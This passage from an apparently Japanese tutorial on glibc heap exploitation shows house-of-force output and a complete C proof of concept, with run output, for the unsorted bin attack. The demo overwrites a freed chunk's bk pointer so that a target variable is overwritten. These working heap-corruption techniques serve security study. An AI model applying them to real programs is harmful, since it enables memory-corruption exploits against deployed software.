house_of_force.c: In function ‘main’:
house_of_force.c:23:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x48) = -1;
                         ^

$ ./house_of_force
&p = 0x601050
junk = deadbeef

[+] allocate p1
p1 = 0x117f420
top chunk size = 0x20ba1

[+] abuse p1 overflow
top chunk size = 0xffffffffffffffff

[+] allocate a huge chunk (break &p-0x8)
junk = b7e419

[+] get target memory
p3 = 0x601050
jackpot!

unsorted bin attack

fastbin chunkではないchunk(サイズがM_MXFAST以上)のbkを書き換えることにより、推測可能なアドレスにある値を大きな値(&(main_arena->top))に書き換えることができる。

/* unsorted_bin.c */
#include <stdio.h>
#include <stdlib.h>

unsigned long target = 0xdeadbeef;

int main(){
    printf("target = %lx\n", target);

    puts("\n[+] allocate p1, p2, p3");
    char *p1 = malloc(0x80);
    char *p2 = malloc(0x90);
    char *p3 = malloc(0xa0);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abusing p1 overflow");
    *(void **)(p1+0x98) = (void *)&target-0x10;

    puts("\n[+] allocate p4 with the same size of p2");
    char *p4 = malloc(0x90);
    printf("p4 = %p\n", p4);

    puts("\n[+] target is overwritten with a large number: &(main_arena->top)");
    printf("target = %lx\n", target);
    return 0;
}
$ gcc unsorted_bin.c -o unsorted_bin

$ ./unsorted_bin
target = deadbeef

[+] allocate p1, p2, p3
p1 = 0x1d60420
p2 = 0x1d604b0
p3 = 0x1d60550

[+] free p2

[+] abusing p1 overflow

[+] allocate p4 with the same size of p2
p4 = 0x1d604b0

[+] target is overwritten with a large number: &(main_arena->top)
target = 7fd47489eb78

更新履歴

  • 2016/10/18: double free vulnerabilityによるlibcアドレスのリーク、unsorted bin attackを追記
  • 2018/01/24: fastbin dup into stackを追記

関連リンク